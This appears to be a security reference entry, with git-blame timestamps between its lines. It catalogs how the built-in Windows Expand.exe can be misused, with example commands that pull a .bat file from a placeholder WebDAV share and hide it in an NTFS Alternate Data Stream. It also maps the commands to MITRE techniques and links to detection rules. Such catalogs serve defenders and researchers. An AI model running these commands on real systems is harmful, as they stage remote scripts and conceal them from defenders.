2018-06-09 00:15:06 +02:00
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Name: Expand.exe
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2018-09-24 21:59:43 +02:00
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Description: Binary that expands one or more compressed files
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: expand \\webdav\folder\file.bat c:\ADS\file.bat
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2018-09-24 21:59:43 +02:00
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Description: Copies source file to destination.
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Usecase: Use to copies the source file to the destination file
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Category: Download
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Privileges: User
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MitreID: T1105
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-06-09 00:15:06 +02:00
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- Command: expand c:\ADS\file1.bat c:\ADS\file2.bat
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2018-09-24 21:59:43 +02:00
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Description: Copies source file to destination.
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Usecase: Copies files from A to B
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Category: Copy
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Privileges: User
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MitreID: T1105
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-06-09 00:15:06 +02:00
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- Command: expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
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2018-09-24 21:59:43 +02:00
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Description: Copies source file to destination Alternate Data Stream (ADS)
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Usecase: Copies files from A to B
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\Expand.exe
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- Path: C:\Windows\SysWOW64\Expand.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2022-09-11 07:07:18 +02:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2022-09-11 07:07:18 +02:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/b25fbbea54014565fc4551f94c97c0d7550b1c04/rules/windows/process_creation/sysmon_expand_cabinet_files.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/infosecn1nja/status/986628482858807297
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- Link: https://twitter.com/Oddvarmoe/status/986709068759949319
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Acknowledgement:
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- Person: Rahmat Nurfauzi
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Handle: '@infosecn1nja'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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